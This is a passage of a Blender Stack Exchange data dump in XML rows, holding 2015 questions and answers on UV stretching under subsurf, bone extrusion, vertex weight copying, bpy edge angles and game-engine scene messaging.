  <row Id="32595" PostTypeId="1" CreationDate="2015-06-17T14:01:56.293" Score="4" ViewCount="3192" Body="&lt;p&gt;I'm making an armchair and I already did the body. When I UV unwrapped it and textured it, this was the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w8IxK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see the arm of the armchair. The top of the arm and the visible side have been UV unwrapped separately (this was intentional), the selected edges mark where the UV-unwrapped mesh was separated. The problem is, which you can see in the picture, that this separation has been stretched far too much towards the side. This is caused by the subsurf, since there's no problem with the model when subsurf is turned off, as seen in the picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wquMy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution which will possibly &lt;em&gt;reduce&lt;/em&gt; this effect is making more faces on the side close to the separation, like this (shown in red):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vAbdJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even this will only be reduce the stretching instead of completely solve it. I haven't tried this yet because of the time I would have to spend re-moddeling, re-unwrapping and re-texturing, which you probably know consumes a lot of time.&#xA;If you'd like, you can download the model &lt;a href=&quot;http://www.pasteall.org/blend/36604&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;here&quot;&gt;here&lt;/a&gt;, I would also appreciate other tips on how I can make the armchair even better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can the stretching be fixed in some other way, rather than re-moddeling? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading!&lt;/p&gt;&#xA;" OwnerUserId="14101" LastActivityDate="2017-04-17T00:59:37.903" Title="Subsurf creating stretched faces" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32596" PostTypeId="1" AcceptedAnswerId="32601" CreationDate="2015-06-17T14:22:11.567" Score="1" ViewCount="271" Body="&lt;p&gt;I was wondering what the &quot;Render Audio&quot; button does and how you use it. Is it at all related to the Speaker object?&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-06-17T16:57:12.227" Title="Render audio button function and use" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32597" PostTypeId="1" CreationDate="2015-06-17T14:24:52.733" Score="2" ViewCount="344" Body="&lt;p&gt;Hello Blender Pro's :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty new to Blender and I got a problem here that I can't solve alone. I searched google for shading problems with smooth shading and subsurf. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; to recalculate the normals. Still no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shading problems are a at a loop cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I am using subsurf and solidify modifiers.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0FT3f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mNaAl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15065" LastEditorUserId="15065" LastEditDate="2015-06-17T14:51:36.980" LastActivityDate="2015-06-17T14:51:36.980" Title="Shading problem at loop-cut with subsurf and smooth shading" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32598" PostTypeId="2" ParentId="32595" CreationDate="2015-06-17T15:33:44.250" Score="3" Body="&lt;p&gt;While you have Subsurf Modifier on your model, hit &lt;kbd&gt;U&lt;/kbd&gt; button and select &lt;strong&gt;Unwrap&lt;/strong&gt; from the menu, then hit &lt;kbd&gt;F6&lt;/kbd&gt; button to bring Unwrap menu or in the Unwrap operator panel select &lt;strong&gt;Use Subsurf Modifier&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uSdWx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-06-17T15:33:44.250" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32600" PostTypeId="1" AcceptedAnswerId="32626" CreationDate="2015-06-17T16:37:38.093" Score="1" ViewCount="2177" Body="&lt;p&gt;I have a main scene, where i have my character, rooms... Then I have a scene for healthbar, inventory and all that stuff. And I don't know how to interact between those two scenes. For example: When some sensor is triggered in the main scene, how do I link that with the GUI scene to show some information text or something else?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is probably a very easy question and I should know things like that, but I'm not very experienced with blender game engine, and also I couldn't find zhe answer on the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your answers.&lt;/p&gt;&#xA;" OwnerUserId="14483" LastActivityDate="2015-06-18T05:31:01.343" Title="how to interact between diferent scenes in BGE" Tags="&lt;game-engine&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32601" PostTypeId="2" ParentId="32596" CreationDate="2015-06-17T16:57:12.227" Score="1" Body="&lt;p&gt;The render audio button combines all of the audio tracks that have been created in the video sequence editor into one audio file. This is useful if, say you had an animation that had multiple sounds in it but you rendered it as an image sequence and plan to put the output sequence in another project as part of a compilation. Say you forgot that you were going to create all the audio in the compilation. Instead of putting in the numerous audio tracks in again trying to put them in the perfect place &lt;strong&gt;again&lt;/strong&gt;, you could render the audio from the first project and put it in the second project parallel to the matching image sequence. Also, it probably works appropriately with the speaker object, but I'm not sure at all. I've never tried. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a simple example. I probably could have thought of something more realistic, but I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-06-17T16:57:12.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32602" PostTypeId="1" CreationDate="2015-06-17T17:00:40.787" Score="2" ViewCount="650" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/um4vJ.png&quot; alt=&quot;Extruding a bone error&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started to extrude a bone for the other arm but this happened.  What's going on with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0BwnCnOOEcD5qdHlLcEVQOTV4cHM/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="15004" LastEditorUserId="2217" LastEditDate="2015-06-25T03:30:27.527" LastActivityDate="2015-06-25T03:30:27.527" Title="Extruding a bone error" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32603" PostTypeId="2" ParentId="32602" CreationDate="2015-06-17T18:30:32.330" Score="2" Body="&lt;p&gt;You have Skeleton Sketching enabled.&#xA;Disable this option and use &lt;kbd&gt;E&lt;/kbd&gt; button to extrude the bone or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;LMB&lt;/kbd&gt; while the torso bone is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rEbyx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the bone symmetrical on the mirrored side, after you extrude the bone enable &lt;strong&gt;Forked&lt;/strong&gt; in Extrude Operator panel while you have X-Axis Mirror enabled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hZAGF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-06-17T18:51:41.923" LastActivityDate="2015-06-17T18:51:41.923" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32604" PostTypeId="2" ParentId="32585" CreationDate="2015-06-17T19:01:31.297" Score="6" Body="&lt;p&gt;One way this can be done, is to create an image of your credits in Photoshop, GIMP, Inkscape, etc. This can then be animated in Blender to scroll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started this off by making a decently large image in GIMP, making sure to keep the vertical resolution bigger than the horizontal. At that point, I added in my text, using guides to keep things aligned better. Before exporting, I made sure to remove the default white background so that the background was transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing that should be done before importing the image, is making sure the renderer is set to Blender Internal, and enabling GLSL shading, which allows for all rendering to be done in the view port. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, I brought in the image using the import images as planes addon and made some adjustments to to the texture and materials settings to make the background transparent. I then key framed it to scroll. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that was required after that was giving it a nice background, and rendering it out with the OpenGL render buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/281/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=281&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this may not be as flexible in Blender as @zeffii's method, it can be easier and more flexible to modify the image inside GIMP, rather than Blender, because there are more 2D effects that are available inside of GIMP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When 3D text is necessary, @zeffii's method is definitely better.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2016-01-03T17:42:48.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32605" PostTypeId="2" ParentId="32578" CreationDate="2015-06-17T19:33:42.477" Score="4" Body="&lt;p&gt;You need to change the &lt;em&gt;Source&lt;/em&gt; and the &lt;em&gt;Shape&lt;/em&gt; of the rigid body collisions.&lt;br&gt;&#xA;In the &lt;em&gt;physics&lt;/em&gt; tab of the properties panel, change the &lt;em&gt;Source&lt;/em&gt; from &lt;em&gt;&quot;Deform&quot;&lt;/em&gt; to &lt;em&gt;&quot;Final&quot;&lt;/em&gt;.&lt;br&gt;&#xA;Only &lt;em&gt;&quot;Final&quot;&lt;/em&gt; takes the modifiers in to consideration, hence your trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other setting you need to change is the rigid body collision &lt;em&gt;Shape&lt;/em&gt;, set it to &lt;em&gt;&quot;Mesh&quot;&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A4OWS.png&quot; alt=&quot;rigid body settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-06-17T19:43:05.987" LastActivityDate="2015-06-17T19:43:05.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32606" PostTypeId="1" AcceptedAnswerId="32611" CreationDate="2015-06-17T19:42:21.520" Score="3" ViewCount="775" Body="&lt;p&gt;I need to know the angle of an edge using &lt;code&gt;bpy&lt;/code&gt;. I need this angle in the x-y plane so if the edge is aligned with the Y axis the angle will be 1.57 radiants (90 degree) and if the edge is aligned with the X axis the angle will be 0. Thanks&lt;/p&gt;&#xA;" OwnerUserId="8112" LastEditorUserId="660" LastEditDate="2015-06-17T21:25:56.677" LastActivityDate="2015-06-17T21:25:56.677" Title="Get the angle of an edge" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32607" PostTypeId="1" CreationDate="2015-06-17T19:43:19.233" Score="4" ViewCount="5334" Body="&lt;p&gt;Is it possible to copy the vertex weight from 1 vertex on a body mesh, then paste that weight onto ALL the vertex of a selection (basically an accessory that's joined to the body for the purpose of pasting vertex weight), instead of 1 vertex at a time (that would take forever for any object unless it's a cube or something)? I found a copy/paste vertex script by Ivo Grigull but it's only for very old Blender versions (pre-2.4.9).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, whenever I manually copy/paste vertex weight (one at a time, was testing it with a cube), then later separate the cube from the rest of the body by selecting all vertices on the cube and press P, the body would get completely distorted (stretched to infinity in all directions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SFbNf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to paste vertex weight onto multiple vertices, as well as why my weight-pasting doesn't work at all?&lt;/p&gt;&#xA;" OwnerUserId="14462" LastEditorUserId="3078" LastEditDate="2015-12-15T23:26:37.593" LastActivityDate="2015-12-15T23:26:37.593" Title="Is it possible to copy and paste vertex weight?" Tags="&lt;scripting&gt;&lt;weight-painting&gt;&lt;vertex-groups&gt;&lt;vertex-paint&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32608" PostTypeId="2" ParentId="15240" CreationDate="2015-06-17T20:00:33.520" Score="2" Body="&lt;p&gt;In python-ish syntax this is what I have deduced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.matrix_basis == ( Matrix.Translation(obj.location)&#xA;    *obj.rotation_quaternion.to_matrix().to_4x4()&#xA;    * scale_matrix(obj.scale) )&#xA;# replace rotation_quaternion with rotation_euler if you are using Euler mode&#xA;&#xA;obj.matrix_local == obj.matrix_parent_inverse * obj.matrix_basis&#xA;&#xA;if obj.parent == None:&#xA;    obj.matrix_world == obj.matrix_local&#xA;else:&#xA;    obj.matrix_world == obj.parent.matrix_word * obj.matrix_local&#xA;&#xA;# if vertex_local is the location of a mesh vertex&#xA;vertex_world = obj.matrix_world * vertex_local&#xA;# assuming no modifiers are doing interesting stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The strangest element of this chain is matrix_parent_inverse.  Usually it is an identity matrix, but if you parent something using the &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;p&lt;/kbd&gt; menu, this matrix_parent_inverse gets set so that the location and rotation properties appear to still function in their previous reference frame instead of in the reference frame of the new parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't dug around to figure out what operators I can use to manipulate (or preferrably reset-to-identity) the matrix_parent_inverse without resorting to python.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-06-17T20:49:16.697" LastActivityDate="2015-06-17T20:49:16.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32609" PostTypeId="1" CreationDate="2015-06-17T20:04:16.817" Score="7" ViewCount="2578" Body="&lt;p&gt;I'm using texture material on the brush and the quality is way worse than I would like.Original &lt;img src=&quot;https://i.stack.imgur.com/dkncY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Painted with a brush&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wzctg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15028" LastActivityDate="2015-06-17T20:13:30.807" Title="How not to lose quality of image with brush" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32610" PostTypeId="2" ParentId="32609" CreationDate="2015-06-17T20:10:39.403" Score="7" Body="&lt;p&gt;When creating your texture that you are going to paint to, increase this number. (smaller is lower resolution, larger will allow for more detail) It is a good idea to keep powers of 2, such as 1024, 2048, 4096, 8192 Etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CWvgY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, when you already have an image made, you can adjust the size of your image in the tools panel of the &lt;strong&gt;UV/Image Editor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Noli1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-06-17T20:13:30.807" LastActivityDate="2015-06-17T20:13:30.807" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32611" PostTypeId="2" ParentId="32606" CreationDate="2015-06-17T20:23:57.057" Score="2" Body="&lt;p&gt;The raw answer is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import *&#xA;from math import *&#xA;&#xA;v1 = Vector([3,2,0])&#xA;v2 = Vector([3,2,1])&#xA;C = v2-v1&#xA;&#xA;theta = atan2(C[1], C[0])&#xA;&#xA;print(theta)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to be able to compute this from the currently selected edge of a mesh, let me know and I can upgrade the python.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-06-17T21:00:50.063" LastActivityDate="2015-06-17T21:00:50.063" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32612" PostTypeId="1" CreationDate="2015-06-17T20:36:27.237" Score="1" ViewCount="1965" Body="&lt;p&gt;I cannot load an image in the UV/Image editor. I can find the image in the browser, and when I click &quot;open image&quot; the file name displays as if it has loaded, but I cannot see anything. I've tried lots of different image files and also both .png and .jpg files.&#xA;I'm using Blender 2.74.&#xA;Thanks!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nEL2l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14706" LastEditorUserId="14706" LastEditDate="2015-06-19T02:10:28.400" LastActivityDate="2016-05-02T00:43:46.133" Title="Difficulty Loading Images in UV Editor" Tags="&lt;uv&gt;&lt;image&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2016-05-02T03:16:25.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="32614" PostTypeId="1" AcceptedAnswerId="32622" CreationDate="2015-06-17T21:19:43.003" Score="1" ViewCount="277" Body="&lt;pre&gt;&lt;code&gt;amnesia@amnesia:~/Desktop/blender-2.74-linux-glibc211-x86_64$ ls&#xA;2.74                    GPL3-license.txt       LICENSE-bmonofont-i18n.ttf.txt&#xA;blender                 GPL-license.txt        LICENSE-droidsans.ttf.txt&#xA;blenderplayer           icons                  Python-license.txt&#xA;blender-softwaregl      jemalloc-license.txt   readme.html&#xA;blender-thumbnailer.py  lib&#xA;copyright.txt           LICENSE-bfont.ttf.txt&#xA;amnesia@amnesia:~/Desktop/blender-2.74-linux-glibc211-x86_64$ ./blender&#xA;bash: ./blender: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm an actual Linux noob and googled for install instructions. I use Tails 1.4 which is Debian.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="1253" LastEditDate="2015-06-17T22:52:02.910" LastActivityDate="2015-07-04T22:09:16.947" Title="Blender won't start on Tails 1.4 (Debian)" Tags="&lt;linux&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2015-07-05T07:22:59.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="32615" PostTypeId="2" ParentId="32607" CreationDate="2015-06-17T21:51:01.203" Score="1" Body="&lt;p&gt;Select your object, toggle into &lt;em&gt;Edit Mode&lt;/em&gt; (&lt;kbd&gt;Tab&lt;/kbd&gt;), select all vertices &quot;destination&quot;, last &lt;kbd&gt;Shift&lt;/kbd&gt; select the vertex you want to copy from.&#xA;&lt;kbd&gt;N&lt;/kbd&gt; to open up the &lt;em&gt;Properties Panel&lt;/em&gt;, click the &quot;paste down arrow&quot; in the &lt;em&gt;Vertex Weights&lt;/em&gt; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;em&gt;Vertex Weights&lt;/em&gt; panel will displayed only in &lt;em&gt;Edit Mode&lt;/em&gt; with a weighted vertex selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9EaY0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="3710" LastEditDate="2015-12-15T10:18:55.383" LastActivityDate="2015-12-15T10:18:55.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32616" PostTypeId="1" CreationDate="2015-06-17T22:47:54.683" Score="0" ViewCount="80" Body="&lt;p&gt;I am new to blender, I made a rocket model with a texture and it looks fine in blender&lt;img src=&quot;https://i.stack.imgur.com/0ccgc.png&quot; alt=&quot;in blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however when I export it and put it into a game engine the texture is not right&#xA;&lt;img src=&quot;https://i.stack.imgur.com/afcl3.png&quot; alt=&quot;in game engine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any tips on how I can correct this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=282&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="15070" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-06-17T23:01:59.417" Title="exporting UV texture" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="32617" PostTypeId="1" CreationDate="2015-06-17T23:12:15.193" Score="0" ViewCount="100" Body="&lt;p&gt;As far as I know, you can only bake non reflective materials in Cycles. If I had a scene and I wanted to bake the non reflective parts to speed up an animation render time, I would still have to keep the lighting for the reflective materials. By keeping the lighting, it lights up the baked materials so that they appear brighter than they were oriiginally intended to be. What can be done to make the lighting appear exactly the materials were changed? (Besides guessing and checking with the emission energy values on the baked materials.)&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-06-17T23:12:15.193" Title="Lighting change when baking" Tags="&lt;baking&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32618" PostTypeId="1" CreationDate="2015-06-17T23:28:31.753" Score="0" ViewCount="38" Body="&lt;p&gt;I need to exclude some part of my model. A mask seem to be the way to go. How do i make it smoothly fade in, if it's possible?&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2015-06-17T23:28:31.753" Title="how to make an object mask, which fades in and out?" Tags="&lt;animation&gt;&lt;objects&gt;&lt;masking&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-06-18T06:00:33.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="32619" PostTypeId="1" AcceptedAnswerId="32620" CreationDate="2015-06-17T23:38:10.283" Score="4" ViewCount="1325" Body="&lt;p&gt;If I create a plane, and want to subdivide it, I can issue the Python command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.ops.mesh.subdivide()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I want to subdivide 20 times, using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; for i in range(20):&#xA;...   bpy.ops.mesh.subdivide()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this causes Blender to get stuck in an infinite loop, eventually taking up 75% of all available RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would this happen, and how can I execute said loop?&lt;/p&gt;&#xA;" OwnerUserId="14978" LastActivityDate="2015-06-18T17:55:33.767" Title="Simple Python for loop causes Blender to suddenly hog 75% of all ram" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32620" PostTypeId="2" ParentId="32619" CreationDate="2015-06-18T01:49:29.490" Score="12" Body="&lt;p&gt;Well, one problem I can think of is that you're asking blender to subdivide a mesh  by cutting everything in half 20 times in a row.  That's 2**20 = around 1 million cuts on every edge, meaning a square face would be cut into 1 trillion faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is really what you want, you can do it in a single step using a single&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.subdivide(number_cuts=1048576)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My suspicion is that this is not really what you want to do.  Mostly because I can't think of any machines that can stash the vertices and face loops for several trillion faces.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-06-18T01:49:29.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32622" PostTypeId="2" ParentId="32614" CreationDate="2015-06-18T02:41:24.930" Score="4" Body="&lt;p&gt;The problem is that you are trying to run a 64-bit version of Blender on a 32-bit system. Go to &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;download.blender.org&lt;/a&gt;, click on the &quot;GNU/Linux&quot; tab, and click the 32-bit button. Then, extract the archive and run the blender executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more in-depth explanation of the error message, check out &lt;a href=&quot;https://unix.stackexchange.com/a/13409/54559&quot;&gt;this answer&lt;/a&gt; on unix.stackexchange.com.&lt;/p&gt;&#xA;" OwnerUserId="1253" LastEditorUserId="-1" LastEditDate="2017-04-13T12:37:20.400" LastActivityDate="2015-07-04T22:09:16.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32623" PostTypeId="1" CreationDate="2015-06-18T03:19:01.030" Score="2" ViewCount="89" Body="&lt;p&gt;I'm doing a motion tracking scene, and I'm wondering why blender is spending so much time rendering the transparent tiles.  If somebody could explain how to prevent this, that would be great!  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-06-18T03:19:01.030" Title="Spending Time Rendering Transparent Tiles" Tags="&lt;rendering&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="1" ClosedDate="2015-06-18T11:34:34.087" ContentLicense="CC BY-SA 3.0" />
  <row Id="32624" PostTypeId="2" ParentId="32526" CreationDate="2015-06-18T04:31:43.083" Score="2" Body="&lt;p&gt;All those islands should be in the 0-1 space. There are some reasons to move things out of that area, as an example, if you want the texture to repeat or if you want to exclude part of a model from a texture bake operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what you are doing there, I think it's best that you do what is shown in the following image.  While in Edit mode, move all the UV islands into the light grey area that is displayed with the grid.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dark grey zone is out of bounds.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C16cO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-06-18T04:31:43.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32626" PostTypeId="2" ParentId="32600" CreationDate="2015-06-18T05:31:01.343" Score="2" Body="&lt;p&gt;In the BGE, some methods can be used to interact whileas others can't. My personal favorite way to interact between scenes is by using &lt;em&gt;messages&lt;/em&gt;. I have provided steps and an example on how to create what you are asking for. Considering that I have this (&quot;When some sensor is triggered in the main scene, how do I link that with the GUI scene to show some information text or something else?&quot;) as my information to work with, I was not sure of what &lt;strong&gt;exactly&lt;/strong&gt; you wanted.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Steps&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(Now knowing exactly what you want, I am not sure if this is your &lt;strong&gt;exact&lt;/strong&gt; situation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) With your camera, have an &lt;em&gt;always&lt;/em&gt; sensor and a &lt;em&gt;scene&lt;/em&gt; actuator to display your HUD:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zf7CS.jpg&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) In your hud, select your object that need to be visible and invisible &lt;em&gt;when triggered&lt;/em&gt;, and create the following logic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/djtDY.jpg&quot; alt=&quot;2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This says that when the prop &quot;Show&quot; is true, the object is visible. The object is invisible when the prop is false. When a message &quot;Show&quot; is recieved, it will make the prop &lt;strong&gt;True&lt;/strong&gt;. When a message &quot;DontShow&quot; is recieved, it will make the prop &lt;strong&gt;False&lt;/strong&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) To send the message &quot;Show&quot;, select your &lt;em&gt;trigger&lt;/em&gt; object and add your logic but &lt;strong&gt;make sure the actuator send the message&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img 